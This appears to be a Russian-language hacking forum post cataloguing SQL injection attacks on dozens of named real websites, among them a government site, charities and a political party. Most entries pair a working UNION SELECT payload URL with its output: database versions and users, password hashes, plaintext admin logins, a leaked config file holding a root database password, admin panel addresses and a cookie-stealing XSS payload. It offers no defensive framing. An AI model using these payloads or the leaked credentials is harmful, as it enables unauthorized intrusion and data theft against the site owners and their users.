SQL Инъекции

Code:

http://www.lasvegasphilharmonic.com/about/bio.php?ID=-35'+union+select+1,2,3,4,5/*&type=M

5.0.27

Code:

http://www.nlr.net/about/bio.php?id=-7+union+select+1,2,3,4,5,6,7,8/*

5.0.45-log

Code:

http://www.mymissouri32.com/people/bio.php?id=-5+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/*

5.0.45

Code:

http://www.youngstartup.com/corporate09/bio.php?id=-1068+union+select+1,2,3,3/*

4.0.20-standard

Code:

http://www.dunyakan.com/bio.php?id=-2+union+select+1,2/*&lang=en

4.1.21-standard-log

Code:

http://www.kmiz.com/people/bio.php?id=-51+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,database(),16/

*
5.0.45

 

Code:

http://www.sweetfactory.ru

Версия: 4.1.22-log

Code:

http://www.sweetfactory.ru/shok.php?gp=-39%20union%20select%201,2,3,4,5,6--

 

Database Version: 4.1.10
Database name: ordinances
User name: [email protected]

773a716368a9f480 : phpBB
6b05b5b330c85e6e : bplt
5be75b377fe12423 : squidalyser
1ef20cb70c8499bb : dbuser:
*527B4FF4B7421D9786914C59FF8E9382BAF1978C : root

Читаем /etc/passwd

Читаем /usr/home/web/www.naga.gov.ph/includes/config.php

// define our database connection
define('MYSQL_ASSOC', 'dune');
define('DB_SERVER', 'www.naga.gov.ph');
define('DB_SERVER_USERNAME', 'root');
define('DB_SERVER_PASSWORD', 'Genesis11');
//define('DB_DATABASE', 'web_apps');

И так далее..... =)

 

http://www.eurocups.ru/champs/table.php?id=1231234%20union%20select%201,version(),3%20--


Database Version: 5.0.26-log
Database name: eurocupru_main
User name: eurocupru_main@localhost

 

Version:4.0.16-standard
User:webuser@localhost
Database:web

5.0.67-community-log
qaiagov_aliauser@localhost
qaiagov_alia

 

www.fresnomag.com

Code:

http://www.fresnomag.com/news.php?ax=v&n=10&id=10&nid=-3+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5--

Version: 4.1.22-standard-log
User: fresnoma_admin@localhost
Database: fresnoma_cms

 

Code:

http://www.comsult.co.za/newnews.php?id=-999999999999+union+select+1,2,3,4,concat_ws(0x3a,user(),database(),version()),6

user():database():version()
[email protected]:comsult:5.0.51a-community-log

Code:

http://www.comsult.co.za/newnews.php?id=-999999999999+union+select+1,2,3,4,concat_ws(0x3a,username,password),6+from+users

Admin User: gwalker:hayley12
Admin Panel: http://www.comsult.co.za/admin.php
XSS: http://www.comsult.co.za/admin.php?msg=<script>alert(document.cookie)</script>

PS: Смысл этой админки не понял...
Спустя 5 мин:
Уже понял. После логина можно удалять статьи =) ыЫ

 

Code:

http://www.saferoadsalliance.org/newsdetail.php?id=-1+union+all+select+0,1,2,concat_ws(version(),user(),database()),4,5,6,7--

юзер/версия/бд:

Code:

[email protected]_sra

 

SeaZone.com
PageRank = 5

Code:

http://www.seazone.com/newsNews.php?id=-999999999999+union+select+1,2,3,4,concat_ws(0x3a,user(),database(),version()),6,7,8,9/*

user():database():version()
[email protected]:seazone:4.1.20-community-nt-log

 

Code:

http://braintumorfoundation.org/newsdetail.php?ID=-1+union+all+select+0,concat_ws(version(),user(),database()),2,3,4--

юзер/версия/бд:

Code:

[email protected]_org_-_maindb

 

http://www.intorsura.ro/evenimente/evenimente_ext.php?id=10+UNION+SELECT+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7--


Database Version: 5.0.67-community
Database name: intors_intorsura
User name: intors_jymmy5@localhost


http://www.intorsura.ro/admin/

jymmy5:jooti1103

 

Code:

http://www.radiofeyalegriapy.org/staff_id.php?id=-1+union+all+select+0,concat_ws(version(),user(),database()),2,3--

юзер/версия/бд:

Code:

[email protected]_db

------------------------------------------------

Code:

http://www.grpa.org/news_view.php?id=-1+union+all+select+0,concat_ws(version(),user(),database()),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--

юзер/версия/бд:

Code:

[email protected]

--------------------------------------------------------
The End!

 

TOP сайтов посвященных играм компании VALVE

www.valvegames.ru

Database Version: 5.0.58-log
Database name: aresstokrat_topsite
User name: topper@localhost

логини и пароли)))

 

________________________

Code:

http://www.new.stavochka.com

Code:

http://www.new.stavochka.com/view.php?contentid=999999999999+union+select+1,2,3,4,userpassword,6,7,8,9,10+from+users%20limit%201,1--

 

Code:

http://equip-pro.org/faq2.php?id=-1+union+all+select+0,convert(concat_ws(0x3a,user,password)+using+latin1)+from+mysql.user--

логин/пасс:

Code:

 admin:*E00A80AB6F24E7B362C395180BC14EB843C0789F

pma_2TxiSCaHx2xl:*3AD2033B55FAC4748FE2246AA65D9D7EC4D9C697

horde:*14E7135B569C268C3501DF6BD7EC03B4F9AA7122

dummy:*3089891C3381828B4B10B733E3E4BE5804FD7B1B

ddcadmin:*E00A80AB6F24E7B362C395180BC14EB843C0789F

relay:*1E87B9A814EAB0E332A49A17A41E784A073A9A84

Code:

http://equip-pro.org/faq2.php?id=-1+union+all+select+0,convert(concat_ws(version(),user(),database())+using+latin1)+from+mysql.user--

юзер/версия/бд:

Code:

[email protected]

 

http://www.turismmontan.3x.ro/ofertaloc.php?loc_id=-3+UNION+SELECT+concat_ws(0x3a,version(),database(),useR()),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--



Version : 5.0.51-LOG
Database : TURISMMONTAN
User : TURISMMONTAN@LOCALHOST

 

Подарок мужчине - домашняя мини пивоварня модель 2000 - 2006 от "Beer Machine"

www.beermachine.ru

Database Version: 5.0.67-log
Database name: u28651
User name: [email protected]

 

Code:

http://setmana2008.balearsfaciencia.org/participant.php?id=-1+union+all+select+0,concat_ws(version(),user(),database()),2,3,4--

юзер/версия/бд:

Code:

[email protected]_7etch8-logsetmana2008

 

"ЯБЛОКО" : Челябинск. :: Официальный сайт регионального отделения партии

www.chel.yabloko.ru

Database Version: 5.0.32-Debian_7etch8-log
Database name: chel
User name: chel@localhost

 

Code:

http://web-site-development.biz/product.php?id=-1+union+all+select+0,concat_ws(version(),user(),database()),2,3,4--

юзер/версия/бд:

Code:

[email protected]_site